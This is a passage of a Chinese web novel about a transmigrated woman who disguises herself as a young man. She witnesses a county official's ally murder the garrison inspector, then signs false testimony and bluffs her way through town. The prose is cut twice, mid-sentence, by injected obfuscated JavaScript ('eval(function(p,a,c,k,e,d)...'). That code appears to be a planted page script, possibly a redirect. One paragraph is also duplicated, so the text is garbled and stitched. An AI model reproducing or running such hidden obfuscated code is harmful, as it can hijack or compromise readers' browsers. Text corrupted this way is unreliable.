“俺就一收猪杀的……” “……钱忠，你知道么？” “我是辽州的车夫哇郎君，我只管记路。” “小郎君，”孙顺忽然开口，“槐县县令是汉人。巡检倒是个契丹人。” “是也！郎君，我也记起来了！”钱忠急声附和，“北面官哪轮得到汉人？” “何止不爱给汉人。”范阿四一声嗤笑，“俺也不是汉人，你看俺有么。” 巡检管的是什么，北面官又代表什么，楚琛一概不知，但知晓县城城墙后有两个官员分属不同系统，这便已然够用。楚琛沉吟片刻，决断道： “稍后我去城门下喊话。等我喊完，范阿四，你用契丹语再喊一遍。” 手下们自然没啥意见，她也不指望他们能提出什么建设性意见。于是，如同赶路时一般：钱忠举火在前引路，楚琛居中，余者环列两侧。 过护城河，至城垣下。城门紧闭，黑暗中投来幽冷目光。楚琛无视它们，用力清了清喉咙，深吸一口气—— “我有紧急军情！”楚琛放声大喊，“求见槐县县尊！” 范阿四一下睁大眼，楚琛隐晦地瞪去一眼，他醒悟过来，扯着嗓子用契丹语吼了一遍。 而几乎就在他喊完的同一时刻，城楼之上，一道身影霍然站起。 是个留着短须的中年男子。类似范阿四，两颊垂辫，头顶却是小帽，看不清是否剃秃。他身着浅色圆领袍，扶着墙，举着火，上下打量他们一番，也抬高声音： “@#&*￥%￥#？” 楚琛低声问：“他说什么？” “问是哪来的军情。” “回他，我得面禀县尊或巡检。” 范阿四翻译了。中年人再望来一眼：“劳烦小郎君稍待。” 居然主动换了汉话？楚琛心头微讶，正待细看，中年人却已缩回城垛之后。一时间，城头空荡，唯余火把投下跳动鬼影。范阿四咂了咂嘴： “小郎君，这人古怪。” “怎么？” “他说话腔调像那些个贵人……” “这有何怪？” “贵人夜里忙着享福，干嘛要来守这破门？” 这倒是。可来都来了，他们也只能等着。过了快有一刻钟，城楼上隐约透来交谈之声。很快，又一颗脑袋探出。 也是个蓄短须的中年人，头上戴的却是顶嵌金属的无帻冠，身上着衣也是右衽。 视线一对，楚琛立即叉手低头，作恭谨状： “可是槐县县尊当面？小子从清风镇来，有紧急军情——” “拉他上来。” 吱呀—— 一只像篮的硕大筐子被绳索吊着，颤悠悠地从城头降下。楚琛一脚踏入，正要示意范阿四跟上，先前那圆领袍中年却忽然开口： “小郎君，你先一人上来。” 这人还挺谨慎？楚琛故作为难道：“可……小子不通契丹语……” “无妨，我也能说。” 混不过去。楚琛只得令众人待命。待被吊上城楼，那后到的戴冠中年道：“我是张渥，本县县令。你有何军情？” 楚琛再度叉手施礼，急急道：“县尊，饥民举事，清风镇破了，莫里正庄子被劫！” “什么！？”张渥大惊：“乱民几何？” “大约，呃，起初不过三五百，”楚琛稍作停顿，似在回忆：“后来沿路裹挟，已成汹汹大势！至少……” “报实数！” “五千往上，或许更多！县尊，小子匆忙逃来，没法细看……” “……罢了！你先下去！来人——” “慢着。”圆领袍中年突然抬手，接着，他踱步上前，绕着楚琛转了一圈，最终停在一步之内： “小郎君，可携有照身文书？” 这是什么鬼。楚琛心头一凛，面上不动声色道：“由我护卫拿着。郎君想验，得喊他上来。” “不急。”中年人笑了笑，“某还想请教……清风镇破时，小郎君身在何处？又是如何得知莫里正家宅遭劫？” “不敢欺瞒郎君。”楚琛神情一黯，语带沉郁，“小子楚辰，辽州人士。因不愿事素慎，这才南逃。” “途经清风镇，遇饥民起事，本想入镇报信，奈何……”她摇摇头，“那头抵挡不过。我观敌众我寡，只得连夜再逃，好向县尊告警。” “年纪虽幼，却颇有决断。”中年人叹道，又转向张渥：“张兄，清风镇已破，你作何想？” 张渥垂眼扫来，神色阴晴不定：“你教我如何想？” “兄才是一县尊长。” “你还真是敢想。” “天予不取，反受其咎，此刻不想，更待何时？” 这俩打的什么哑谜。楚琛心中暗骂，小心试探道：“县尊，如无他事……” “你且等着！”张渥的视线不耐烦地扫回，转头对身边随从吩咐道：“你们几个，去请巡检过来，就说有要事相商……”又斜睨向那中年人。 “郑恒之，你满意了？” 楚琛：“……” 楚琛：“……？” 楚琛满头雾水，权衡再三，决定先悄悄靠边，研究城头火炬，不参与这场谜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一股说不清道不明的恶寒，陡然自前额之下两眼之间直冲而下，楚琛右手下意识屈起摸刀，但郑恒之的动作远比她快—— 轻微的一道金属摩擦，又极轻微的一声噗，郑恒之悬在腰侧、仿佛只作装饰品用的剑，已深深递进身侧青年胸腹！ 那青年本能地大叫一声，侧身探手要去抓剑，郑恒之手腕一拧，一搅—— 血溅，人倒，却犹未断气。郑恒之顺势单膝跪下，仿佛在进行某种庄重的仪式，一手按住青年挣扎的身体，另一手握紧剑柄，对准心窝、肝区、肺腑、咽喉……刺！再刺！ 噗哧连声。 利刃穿透血肉的闷响清晰可闻，每一次拔出都带起一股温热血迹。五六记之后，青年彻底不动了，郑恒之方才平静地呼出一口气，从容站起。 火光跳跃，映亮那张端方的脸。若忽略那异族辫发，这位的脸型五官，加周身气质，其实比一旁佩戴乌纱高冠的张渥更像一名儒雅稳重的汉家文士。 而此刻，他提着剑，映着火，踩着血，朝目瞪口呆的楚琛一拱手： “学艺不精，只得后补几式，小郎君见笑。” 一旁的张渥缓步踱近，神色间半点惊诧也无，只对随从淡然吩咐道： “来人。巡检多年贪赃枉法，罪证确凿；近更暗通城外乱民，阴谋劫掠本县，图谋不轨……” 他的语声忽而一顿，目光倒映摇曳火光，静静投来；那边郑恒之正悠然拭剑，手中白绢染血，也是似笑非笑地望过来。 楚琛满心是槽，可此时此刻，焉有不识时务的道理？ “正是如此，县尊明鉴！”楚琛镇定接道，“我自县外来，亲眼目睹，愿意作证……” 17. 揭露 灭门知府，破家县令。 张渥当众宣读完罪状，直接令人割了那巡检的首级，旋即点齐人马，亲赴其宅院搜查。 一镇的里正，都够参与抄家的发笔小财，一县的巡检，想来油水更是少不了。 而楚琛总算也知道，城楼遽然动手殺人的郑恒之，大名唤作郑弦余，恒之乃是这位的字。 虽然名号似咸鱼，字意像躺平，此人却既不咸，也不躺。待擦过佩剑，他便直入县衙，索来笔墨，就着灯笼烛火，笔走龙蛇，顷刻间挥就一纸诉状。 因相当识相于是也被一路捎回的楚琛好奇一望，只认出郑弦余用的行书，字体宽绰秀美，依稀写着些“私通”、“外寇”之类的惊心字眼。还想仔细辨认，郑弦余吹过墨迹，抬眼笑问： “楚郎君，可有指教？” “好字！好文！”楚琛胡乱吹捧道，“倚马可待，先生大才！” “不过据实直书罢了。”郑弦余正色道，“此獠到任以来，不理公事，贪贿无度，毁家无数，如今更与外寇勾结，罪不容诛！” 人都叫你殺了，当然你说什么就是什么。楚琛暗自腹诽。但身处县衙，唯有装作同仇敌忾状附和：“确实可恶！” “既如此，还请小郎君画押。” 楚琛接过毛笔，本想随意一画，奈何上辈子签字签惯，未及反应，手腕已凭着灵魂记忆，横掠出一道利落笔锋。顶着对面人审视目光，索性写下自己名字。郑弦余接过状纸，略一端详，突然又问：“小郎君出自辽东哪家？” 楚琛谨慎道：“家父寻常商人，当不得哪家。” “观郎君笔法，颇有家学。”郑弦余笑道，“可否再写几字？” 楚琛顿时尴尬，讪讪道：“非是不愿，实乃……唉。我写。先生莫笑。” 毛笔字，古代读书人的颜面。字迹如何，轻易便能显露出身教养。 而一个既不曾爱好过书法，亦不知自己未来会穿越，平日只对着电脑敲键盘的现代人，能写出什么好字？ 楚琛只会两个，那便是自己名字，乃是工作签名需要，于是汇总古今字体，斥资请人反复设计，回家狂练这俩字的成果。 至于她的真实书法水平么……只能说，防伪效果较为突出。 而且，简繁字体间更有差别！ 楚琛搜肠刮肚，勉强选定了《千字文》开篇首句。果然，刚写过“天地玄黄，宇宙洪荒”，就见郑弦余眉头微蹙。及至“日月盈昃”，尚未落笔“辰宿列张”，郑弦余便叹出口气，举起签名，复又看向楚琛： “难为小郎君了……郑某开眼。” 楚琛干笑：“能骗过先生片刻，也不枉我专练签名。” 郑弦余注目她所写的东西，若有所思道：“未曾听闻辽州有术数大家……” 字暴露了，再装下去也是徒劳。楚琛无奈道：“先生不必猜了。就算我当真出身大族，连夜奔逃，狼狈至此，这大族有与没有，又有何异？” “也是。”郑弦余竟当真不再追问。“你既已入城，不知未来有何打算？” “洗好，睡觉。万事明天再说。” 郑弦余微怔，随即笑道：“县中古槐边有一客栈，出县衙后，小郎君只往北走，片刻可见。” ……嗯？ 不是，你带我到县衙，叫我作伪证，明知我形单影只、身无长物……竟连假意挽留、请顿早饭的虚礼都省了？ 楚琛尚在错愕，却听郑弦余又道：“小郎君还有何事？” “……我囊中羞涩，”楚琛硬着头皮道，“先生可否暂借些许房资？” “哎？倒是我思虑不周。”郑弦余恍然道，“来人，引楚小郎君去后院厢房歇息。” 楚琛：“……” 你最好是真疏忽。 被诈出余额几何的感觉挥之不去……但眼下诈都诈完了。楚琛破罐破摔，索性道：“我还想洗澡。烦请先生放我那几个手下进来，我这个澡怕是要费不少水。” “小事一桩。”郑弦余又笑了笑。“小郎君一身血气，是该好好洗洗。” “承蒙先生提点。”楚琛面不改色，锲而不舍，“我这趟出门太急，没带什么衣物，牙粉牙刷也失了。先生手头可有零钱？” 四目相对，不知是被她的坦然所惊，还是单纯不愿借钱，郑弦余面上那温文尔雅的笑意，终于凝滞了一瞬。 只是一瞬。他旋即又挂回那副无害的浅笑。要不是亲眼见得这家伙捅人补刀眼都不曾眨，楚琛觉得自己多半会被这皮相蒙骗过去。 “那小郎君还需稍待片刻。”他温言道，“今夜兵荒马乱，生出误会却是不好。” …… 上回郑弦余叫她稍待，不仅待来县令张渥，还待了条巡检的命。这回郑弦余再叫她稍待，待来待去的又将是些什么，楚琛一无所知。 不过，借这位的吩咐，楚琛倒是毫无阻碍地进了县衙后院，并终于获得汤桶一个，丝瓜瓤一把，粗糙手工皂半块——外观活像团泥巴，闻着倒有股雅致的木质调，似乎是额外加了香。 自异世苏醒至今，终于能摆脱自己正在发酵的恐怖困扰，楚琛恨不得捧着这块原始至极的香皂亲个几口——可惜，现在还不是时候。 自己性别为女，但在这地界，想保住眼下这点东西，甚至图谋更多，就得继续扮男人。 但眼下，偏偏又该脱了—— 这浴房内装备一应俱全，妥妥是张渥自用。而张渥身为封建时代一地县太爷，沐浴自是少不了人伺候。 “郎君，”一名仆役挑着水进来，“热水齐了。” 此人头顶发髻松垮歪斜，鬓边乱发支棱，多半是睡下后被临时揪起。楚琛依依不舍地将目光从皂块挪开：“有劳郎君。” 仆役咧嘴一笑：“可不敢当‘郎君’，小的就是个烧水打杂的。哎，小郎君脱衣吧，小的给您搓搓背？” “不必。”楚琛负手而立，叹了口气，“劳烦哥哥去叫我那使女进来，再辛苦点水，催催我那三个手下也洗洗。单给他们指个路也行，就说我说的——再不洗，怕是真要生蛆了。” 眼前少年人虽衣衫脏污，仪态却是挺拔如松竹。仆役本就猜其为县令晚辈，此刻听楚琛说得风趣，好奇心更盛： “小郎君怎地弄成这般……呃，风尘仆仆？” 楚琛斜睨他一眼，语气陡然转冷：“你可知我是谁？” 仆役心头一跳，试探道：“小的看郎君这气度……像个读书的贵人 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楚琛腰悬双刀，最外层是件宽大直裰，形状近似后世廓形大衣，因一路赶路带殺人，脏得相当彻底，完美遮掩了身形。 第二层，一套放量宽松、颜色素净的裋褐，与男装无异。 最后一层，清岚动作一滞，再忍不住面露惊愕。 她的诧异如此明显，楚琛不禁低头。 自己身上，倒没恶俗地配着死亡芭比粉的肚兜。只是件抹胸，素色麻布料，形制有别于男用内衣，裹着随青春期而起的一点点规模。楚琛饶有兴致地曲肘按过，轻松透过薄薄的人體组织按着自己肋骨。 真是副蹿个头不蹿赘物的完美躯体。等从这趟饥荒里缓过劲儿来好生练练，以后顺理成章说是胸肌。 “我先前与你说过，”楚琛的声音平静无波，“我有个秘密。” 哐当！ 清岚几乎是砸跪在地上，动作快得带起一股小风——“奴、奴定当为阿郎保守……” 相当流畅的动作，简直能说条件反射。楚琛不禁挑眉：“以前给豪门大户当过差？” “是，奴以前也做使女……” “你忘了？为我做事，该自称什么？” “……我没忘。” “很好。”楚琛颔首，俯身，双臂稍一用力，不容抗拒地将小姑娘提起：“世道太烂，我只能这样活。往后很长一段日子，你我都要共同生活，绑在一根绳上。我要你做的，是守死这个秘密，并帮我扮好‘男人’这个角色。” 清岚问：“奴婢……我该怎么做？” “该如何便如何。”楚琛淡淡道，“你亲眼见过我如何行事，见我如何从清风镇一路行至此处。你当明白且记住，我从不会亏待我的人。而且，我只求实际。” 楚琛迫近半步，水汽氤氲，烛影摇晃，影子覆在清岚身上，呼吸几乎擦过她的唇鼻。 “若是将来某日，有人拿金子、拿前程、拿你不敢想的好处来收买你，叫你出卖我——” 楚琛直视她的双眼：“你只需记得，你的雇主楚琛，永远给得起对方开价的双倍。” “现在，为我更衣。” 18. 置装 楚琛从来不信无理由的忠诚。 在她认知里，要让一个有思考能力的人，哪怕这人年幼，不识字，见识有限，头脑受损，诸多不利之处叠满，心甘情愿服从另一个人，最根本的前提只有两条： 服从能带来好处。 背叛必遭致无法承受的损害。 这两项条件，构成一架精准的天平。一端砝码越重，另一端便可相应减轻。 但作为穿越者，人生地不熟，偏偏这副躯体也没留什么可供参考的资料库，楚琛对自己当前筹码分量究竟几何，全无把握。 从河滩，到清风镇，再到槐县县城，自己至今的所作所为、开出的条件，是否已赢得了接受与信任？究竟在手下心中砸下了多重的信任砝码？ 他们接受了吗，接受到了何种程度？是真心跟随，还是骑驴找马？是待价而沽，还是静候背刺良机？收买他们的价码几何？谁会有这般动机？又该如何防？ 然后，是新增的能力，再然后是新做的伪证…… 无数问题，如同手中搓洗的丝瓜老瓤，纠缠扭结，理不清头绪；又似那些擦洗而下的污垢，在热水里沉浮不定。 汤桶里热水换过两趟。 不知是体力条彻底耗空，还是这高强度的脑力运转终于烧干了最后一丝清醒，颅骨之下，仿佛一锅正在咕噜的粥，四肢百骸，沉重得如同全变作了铅。 想睡觉。要睡觉。必须睡觉。 哪怕身处陌生之地，哪怕知晓性别秘密的两人是否可信犹未可知……一切，都该让位给睡觉。 县衙外隐约有些喧哗，明日再问；湿发一时难以干透，割掉便是。 将冰冷的剔骨刀强塞进清岚手中。楚琛扑进客房，倒向床榻。 …… 翌日。 楚琛不可思议地抓着自己的头毛。 昨晚汤桶里散开一比划，这新壳子发量发质就那样，唯一能说的是垂到背。可生产力不发达的古代，连县太爷浴房中的洗头用品都是茶麸——连泡沫都凑不出多少。 这把干枯头毛，最好能是割掉部分，剃个板寸也没问题。 万万没想到，这才雇不到二十四小时、第一月工资都还没发下的使女清岚，不知是怕剪成狗啃头被追责，还是古人就是这么爱岗敬业，大半夜拿着火盆和香炉，愣是摸着黑，一点点地帮她烘干了。 一根都没燎焦。 ——不是，姐姐，我都说了能割，就代表一切后果我认。而且，你不想干直说便是，大可不必这么精益求精。 还有，自己居然能睡到被拽头毛都不醒……纯粹累瘫？还是新能力副作用？ 槽点密如针脚。但归根结底，是自己没交代清楚。而且，别人费了半宿劳力，却不好再做浪费直接开剪。楚琛一番欲言又止，止言又欲，最后只得让清岚梳头。 要扮做男性，用不着女式发髻的簪钗花钿。然而，一伙流民急急上路，又从哪变出梳子篦子？ 最后凑合盘成炸着些许乱毛的男髻，清岚拿井水勉强压了压翘起的发梢，表情不太满意。 “昨儿瞧见茶麸，却没寻着茶油，”小姑娘小声嘀咕，“阿郎下次洗完头，可别再这么倒着晾了，好容易翘。” 除了眼下挂着两个黑眼圈，外加营养不良导致的瘦，从她睁眼到现在，这一位的神情态度完全正常，似乎已对她的性别彻底接受。楚琛便也自然一笑： “我们那儿就兴这么干，专显头顶蓬松。” “……呃？可蓬了不好绾啊？” “所以我才要扮作男人。这头秀发，在女人堆里嫌少，冒充男的刚好。” “……阿郎说笑了，没那么少。”清岚忍着笑，顿了几顿，又问道：“阿郎，那……还穿昨天的袍子？” 这回顿住的成了楚琛。 好问题！洗过澡了，当然该换干净行头。况且，白天光线敞亮，槐县县城里也不像饥民堆里大伙都一身破烂，是该捯饬得像样点…… ……但关键是，自己还有没有干净衣服？ 真是活见鬼了。怎么记得的穿越者前辈们，衣服裤子鞋都能凭空刷新似的？ “咱们的家当呢？”楚琛镇定地问。 清岚递来一个小包。 楚琛低头一扫。李氏帮忙打的包，加上清风镇“抢”来的战利品——刨去身上这套和那件没来得及洗的脏外套，她堂堂穿越者的全部身家，赫然在目：刀，两把；裋褐，两件；布裤，两条；碎银，四小块；装干粮的小瓦罐，一只；娄旦送的牛皮鞭子，一条；外加几块不明用途的粗布头。 楚琛低头一扫，发现从李氏打的包，加清风镇的战利品在内，除去此刻身上所穿、并那件还没来得及洗的脏袍子，自己全副身家—— 刀，两把；裋褐，两件；布裤，两条；碎银，四小块；装干粮的小瓦罐，一只；娄旦送的牛皮鞭子，一条；不明用途的粗布头，若干。 堂堂穿越者财产是如此光景，简直见者沉默，闻者失语。而清岚想了想，又从角落摸出一把粗布条。 “阿郎，还有行缠……” 新到的布条压在短褐边，楚琛默默撮了撮牙花子。 行缠，即绑腿，后世运动压缩装备的原始版本，长时间行军赶路的神器。这一堆的原料，来自昨晚刚出清风镇时，从钱忠那儿借来的布。 当时主持抄家分赃时，自己哪能想到晚上就得跑路？到跑路那会儿，看着手下手忙脚乱捆扎那堆破布，还暗笑古人没见识。 半路才知道，笑得太早——最后还是自己蹲路边绑上。 想念猫吉祥物橙白软件。想念狗吉祥物红白软件。此刻就算是那万恶的摇一摇自动跳转劈脸来，那也没关系了。 “系统？你在么？”楚琛喃喃，“我错了，我再也不屏蔽带你的网文了！你特别好，特别棒，能显灵给我兑点东西么？急需物资啊亲！” “阿郎？”清岚一脸茫然，“你在说什么？” “没什么，别在意。”楚琛用力抹把脸，“我睡着这阵子，有人找我么？” “钱忠早上问过……” “不是他们。县衙里的，或者昨天那个姓郑的手下？” “没有。” “你没和任何人说话？” “嗯。我出去烧水时，有几个姐姐问要不要帮忙……嗯，因为阿郎得做阿郎……我说不用。” “现在几点……咳，”楚琛及时刹车，“现在什么时辰了？” “……呃？” 楚琛面不改色：“我是说，按子丑寅卯来算，是啥时候？” “啊，是辰时，快到巳时了。阿郎，你饿不饿？” “不急。”楚琛沉吟。 郑弦余，县令张渥的座上宾。表面儒雅士大夫，实则是个能在城头穿人腰子、事后还认真补刀的狠人。其人使唤衙役如使唤家中僮仆，好几页长度的文言状纸更是信手拈来，不仅鲜有涂抹，字迹还端正清雅…… 自己当年拿硬笔制造大白话文字垃圾的速度，在这人面前都如瘸驴追快马。 这般人物，哪怕如今无官无职，过往的身份也绝不简单！ 他真的会只喊自己做个伪证？ 这人动刀干净利落，用笔更是滴水不漏——怎么可能只图这一点小用处？ 不可能。 就算是证物到手，证人没用了……那位头被割了、家被抄了的倒霉巡检，家中没有亲族故旧？难道不会循着这股血腥味追来？ 这是古代。但凡能在官场立足，但凡职位有一星半点油水，背后必有盘根错节的关系网，谁都不会是石头缝里蹦出来的孤魂野鬼。 而自己，却在郑弦余写的那张状纸上签了名。 ……见鬼的居然还惯性签的真名。 要是就此销声匿迹，那也罢了，偏偏自己未来还想混进朝廷蹭口饭。 一个签名，等于公开表态站在郑弦余阵营。抄家的好处一文未得，黑锅却悬在头顶，随时有人能顺藤摸瓜——县令惹不得，郑弦余也惹不得，那就轮到自己顶雷！ 楚琛闭了闭眼，心中一横。 郑弦余此人，必然还没摸清自己的底细，所以才选了冷处理，只等着自己按捺不住，送上门去。 这主动权必须夺回来。 最最好，还是如昨晚县衙那般，由他先开这个口。 区区一个屠户之后，不够资格让这位如此对待。必须如同先前拉拢娄旦那般，表现得无限接近于一个真正的、有些大来头的小郎君。 那么，一个有家世可恃、锦衣玉食养大的富家贵种，自以为到了安全环境，却一无得力仆从、二无干净衣物—— ——第一反应，自然是从人下手！ “清岚，你站正。” “……嗯？” “你……脸皮够厚么？算了……你，凶一个给我看看。” “呃？” 比她矮大半个头的小姑娘眨巴着眼，肩背微缩，满头雾水，像只被骤雨打懵、瑟瑟发抖的雏鸟。 楚琛盯眼这颤巍巍的家雀，忽然失笑。 想什么呢。既然当了东家，紧要关头，还指望员工顶缸？ “你待在这，别随便出去。”楚琛叹口气，掌心重重搓过面颊，像是要把最后一丝犹豫彻底抹掉。随即，她霍然起身。 身上是件素色中衣，长袖且宽松，乃是昨晚身上所套裋褐之下的第三层，隐约有些汗味，好在布质极为结实，几乎能当外袍。配的布裤同样宽松。 调整过抹胸，楚琛挺直腰背，下颌微扬。 “我得出去演场戏……清岚，你说，凭我这般姿态，能不能充作县令家的子侄？” “像的！”清岚连连点头，“阿郎长得高，就是个郎君架子！好些真郎君都没阿郎高……” “好，很好。”楚琛再叹口气，“不曾想，我也有今天。清岚啊，往后你可是唯一记得我本相的人了。我真只是个干后台的，是被迫社牛的……” 楚琛抓了碎银，系上刀和鞭，瞥见脚上所套与将扮演的角色不大搭调，地面又算干净，索性也踢掉。 清岚犹在发愣，楚琛推门而出。 “阿郎？！你还没穿戴……？” 楚琛摆摆手：“你，并钱忠他们，都留在这。” 赶在一些不必要的情绪追上前，楚琛大步往前。 县衙里，自然不止住着她和她的手下。仆役们穿梭于各自路径，打着哈欠，埋头洒扫，低声闲聊。但见到楚琛，无一例外，均投以错愕目光。 楚琛端起前世操盘时的惯用表情，精准截住一个抱着竹扫帚的杂役： “劳驾，出衙往左往右？” 那人指了路。楚琛抬腿就走，走出几步，才像突然想起似的，随口丢了声“谢了”。那人连忙堆起笑脸应声。 从这反应看来，当前演技还算唬得住人。楚琛继续行动，不多时，面露惊愕的，从县衙仆役，变作了身着公服、正在吃食的衙役。 ——比缺德地图还坑！那仆役竟直接把她指到了衙役休憩进食的偏院！ 楚琛也很想惊愕。但事已至此，她面上纹丝不动，依然逮住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“有有有！自然有！”掌柜连声应道，“小郎君要袍子还是……” 楚琛抓起柜上马鞭，随手挂在腰间，满脸冷笑：“怎么，掌柜，你喊我试个裙子？” 成衣铺掌柜立刻行动起来，活像那鞭子抽在了他背上。转眼间，布堆里倏地抖开一汪蓝色：“小郎君请看，这可是南朝裴氏布行新出的……” 它真好看。但肯定贵。楚琛瞥过那丝质的光泽，故作不耐：“不过一块蓝布。昨晚在巡检家里，一匹匹一堆堆的，我都看腻了。换！” “这件如何？”掌柜连忙取出另一套。 “绿的都不要。”楚琛冷声道。 掌柜忙不迭收起旧衣，一边翻找新货，一边小心翼翼问：“那个，巡检贵人，究竟因着何事……” 楚琛斜眼看他：“你说说，他干得如何？” “嗨，别的不敢妄议，只是那位贵人，倒真该去管油坊的差。” 油坊。楚琛心下一沉。这时代的油坊，想必还是最原始的物理压榨。而掌柜话里的意思，绝不仅仅是榨油……至于那些被碾碎的人，榨出的血最终流向何处，倒值得深究。 “张叔倒是积德了。” “全仰仗张县尊张青天呐！”掌柜捧出件广袖直裰，银线绣出漂亮纹路：“小郎君，这件……？” “色还行，样式不成。我要骑马，我那马性子烈得很。”楚琛摇头，信口胡诌。余光瞥见柜台边收拾的伙计不知不觉凑近了几分，她突然警觉般，端起一副恍然模样：“你也别问了，张叔和郑叔不许我多嘴。” 最终，一件深色圆领袍选定，一块碎银抛出。成衣铺掌柜和伙计，连同店外那些假装路过、实则看景的围观群众，心中残存的猜疑，如同晨露遇阳，彻底消散—— 除了那些被人伺候惯了的大小少爷，哪个平头百姓揣着银块出门？找回的铜钱都难揣！哦，这位居然还在成衣铺里买钱囊？真真不知柴米贵的纨绔子！ 日头正攀过飞檐，一位来头不小的少年郎，带着与县令及其友人千丝万缕的关系，挑剔地走过一条又一条街。 皮靴无扣，他只看一眼，掌柜便立刻识趣，额外送了一双细麻足袋；蹀躞带不合规制，他皱皱眉，那革带附赠了带勾；皂纱幞头试到第三顶，店主娘子便忍不住凑前，提起县衙车马辰时出城的传闻…… 这少年面上是贵人们惯例的无喜无怒，步伐却渐渐缓下来，目光掠过街角酒楼，似是起了几分兴致。 人群侧方，却有个身量颀长的仆役小步赶来。 他穿得极为简单：一身略旧的布袍，配布幞头，却收拾得干净利落。身上不见佩刀，显然不是哪位授意来灭口的打手。 两步开外，他站定，叉过手，满脸皮笑肉不笑： “可是楚小郎君当面？本县县令有请。” 一句话投下，酒楼边几个食客俱停了嘴，探头看热闹的人也忍不住更向前一步。楚琛慢条斯理地掸了掸衣摆，反正此刻她衣着齐整，不再像方才那般惹人注目。这一番表演下来，心态也已平复。 “不急。”她摆手，学着郑弦余指使衙役时的调调——“我还饿着。你家郎君，惯要差遣饿人？” 来都来了，就算即刻赴黄泉，也断不能肠胃空空地见阎罗。 仆役一噎：“自然不是……” 楚琛扬起下巴，指向不远处酒楼，明示道：“那吃顿饭再走。带钱了吧？” 19. 观察 楚琛到底没能迈进酒楼的门槛——那来引路的仆役习惯性地侧身要让，猛地又反应过来，扭回原位，拉长一张脸，道是衙署午膳已备，是要请她去用。 既然称县衙为县衙，还没喊县令为郎君，那便说明其人并非张渥之仆。多半和自己一样，正在假借一些名义，且多半来自雇主的示意。 衙中发号施令的就俩，现在排除县令本人，那还有谁？ 跟在仆役身后，楚琛踩着被日头晒得暖烘烘的青石板，穿过长街，跨过门槛，钻过一道又一道的小门，进到一间有屏风的屋子里。 果然，郑弦余正坐在那，面前一桌碗碟杯盏。 菜色有荤有素，杯盏古意盎然。郑弦余换了件要旧不旧的缎袍，头上的圆帽也摘了。 那部分没跟范阿四似的剃光，但也不像昨日那样编作辫束。只跟多数汉人一样，规规矩矩地挽了个髻，束在头顶。领口露出的部分，依稀也是右衽——为免误会，这却不好细看。楚琛依礼叉手： “见过先生。” “坐。”郑弦余抬手示意，脸上依旧是那副文化人的温和模样，仿佛从未刻意将她晾在一旁。“楚郎君行事，还真是出乎郑某意料。” 楚琛坦然坐下：“不及先生消息灵通。” 郑弦余淡淡一笑：“不敢当。若当真如此，也不至于对小郎君全无印象。” 说着，他竟亲自斟上一杯茶：“不知小郎君能否解郑某心中之惑？” 什么鬼解惑，不过是想探听背景。楚琛接过茶杯，不饮，不动声色道：“能说的，我自然知无不言。但先生若再追问我的家世……那我只好现编了。” “哦？”郑弦余诧道，“看来小郎君的照身，是寻不回来了？” “总有些去处不纠缠照身。” “也是。那小郎君打算如何现编？” “不知先生可有高见？” “这还需看小郎君偏好哪般来历。” 皮球又滚了回来。楚琛信口胡诌：“我本是槐县右边某镇布衣……” “不妥。”郑弦余直接打断。“小郎君名讳为琛，该字从玉，宝也，珍贵也，岂是寻常布衣黔首会用的字？” “许是那年年景好，布衣黔首饭后无事，在路边摊找了个穷书生，从一堆字里挑了个最顺眼的。” “依然不妥。布衣而有珍宝，何异于稚子抱金行于闹市？况且小郎君写得一笔好字，真正的百姓，画个押捺个印便是。” “先生若备了印泥——”楚琛报以微笑，“何须在下献丑？” 郑弦余双眼凝视她：“不若称……家中生变，负气远游？” “甚好！就这么定了。多谢先生指点。”楚琛答得干脆利落，目光转向桌上的菜，“我看这菜快凉了，先生动筷吗？” 郑弦余明显一怔，随即失笑：“小郎君先请。” 都说请了，也没多少下毒的动机，楚琛毫不客气，一筷子夹走根长得像烤鸡腿的玩意。一口下去，腥臊满嘴。好容易吞了，赶紧换夹切块的炖肉，这回倒不再是腥臊，却是一股霸道的羊膻，直冲天灵盖。 “此乃本县官厨手艺，”郑弦余也慢条斯理地夹起一箸肉，仿佛很不经意，“不知可合小郎君口味？” 官厨，大约就是后世的食堂。要不是这位碗里盛着同样的菜，楚琛简直要怀疑是对方故意使绊子。她勉强咽下嘴里的肉，惯性想摸餐巾纸。一看桌边只有粗布一块，只得凑合擦了，吐槽道： “这鸭子很委屈，生前被排挤到老，死后竟然还要架火上烤，简直不忿。该下些玉竹、沙参并麦冬，文火慢煨，或可化解。” “有趣。此羊又作何解？” “这羊，怨气深重，大约本来苟且偷生，突然横来一刀，死得憋屈。故而须用猛火烤透，再撒以孜然，才能镇住。” 郑弦余摇头道：“小郎君炖鸭有药材辟味，炙羊又有孜然相佐，还想扮作布衣？” “或许……是我祖上出过御厨，传下点微末手艺？” “噢？若我欲食羊肉，苦于腥膻难忍，手边又只有粗盐野葱，该当如何？” 你都夹好几块了，现在想起腥膻，骗哪的鬼。楚琛心中暗骂，面上却露出好奇：“不知先生求速效，还是能缓缓？” “都说说看。” “若求速效，那得选头好羊！”楚琛热情介绍，“真正的好羊，自带清香，膻味极淡，只需一把粗盐提味，越简单越能承托鲜美，所谓鱼羊为鲜。” “这种羊，得散养在开阔草场，时常奔跑……” “此羊难觅。”郑弦余短促一笑，“即便有，亦非郑某能遇。” “啊？那，退而求其次。好生腌制，冷水下锅慢炖。香料不过是锦上添花，寻常的姜蒜大葱搭配得当，火力精准，也能压味。” 郑弦余面露失望：“这等手法，寻常厨子也知。御厨传家，就这点本事？” “菜肴出品，七分靠原料，三分靠打拼。原料本就欠佳，佐料又被克扣，天上的厨子下凡也没辙。”楚琛道，“不过，我倒有个主意。敢问先生，这介意羊膻的是谁？” “权当是郑某本人。” “那请先生禁食荤腥，出城绕城墙猛跑，一刻不停。如此直至半夜，再膻再劣的羊肉，进先生嘴里，那也是人间至味！” 郑弦余呵地一笑：“小子促狭。”他摆摆手，“继续吃吧。” 楚琛：“……” 楚琛：“……？” 不是……这就完了？评价呢？结论呢？后续呢？费劲巴拉扯一大通，轻飘飘一句“促狭”打发了？ 